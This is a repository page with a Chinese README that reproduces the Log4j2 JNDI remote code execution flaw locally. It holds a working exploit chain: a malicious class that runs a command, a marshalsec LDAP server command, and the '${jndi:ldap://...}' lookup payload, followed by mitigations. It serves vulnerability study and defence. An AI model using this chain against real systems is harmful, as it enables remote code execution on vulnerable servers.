# log4j_test_ldap **Repository Path**: itmtr/log4j_test_ldap ## Basic Information - **Project Name**: log4j_test_ldap - **Description**: Apache Log4j 远程代码执行漏洞复现。LDAP - **Primary Language**: Unknown - **License**: Apache-2.0 - **Default Branch**: master - **Homepage**: https://blog.itmtr.cn/archives/log4j-test-ldap - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2021-12-16 - **Last Updated**: 2022-06-09 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README ### Log4j2简介 Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。 > 受影响版本:2.x <= 2.14.1 ### 漏洞复现 ![image.png](https://file.itmtr.cn/itmtr/image_1639645734949.png) #### 1.创建maven项目,导入Log4j依赖。 ```XML org.apache.logging.log4j log4j-core 2.14.1 ``` #### 2.创建一恶意类Exploit.java ```Java public class Exploit { static { System.err.println("Turn on the calculator!"); try { Runtime.getRuntime().exec("calc"); } catch ( Exception e ) { e.printStackTrace(); } } } ``` > 注意:**Exploit类中除了这些代码不要有其他东西,尤其是`package`和`import`。** #### 3.编译得到Exploit.class ``` javac Exploit.java ``` #### 4.使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务 ``` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888 ``` 启动成功如下图所示: ![16396464551.jpg](https://file.itmtr.cn/itmtr/1639646455(1)_1639646459640.jpg) #### 5.编写测试类测试 ```Java package cn.itmtr.log4jtest; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jTestApplication { public static Logger log = LogManager.getLogger(); public static void main(String[] args) { log.error("${jndi:ldap://127.0.0.1:8888/Exploit}"); } } ``` ![image.png](https://file.itmtr.cn/itmtr/image_1639645734949.png) ### 解决方案 #### 紧急缓解措施: - 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true - 修改配置log4j2.formatMsgNoLookups=True - 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true #### 修复方案: 检查所有使用了 Log4j2 组件的系统,官方修复链接如下: https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2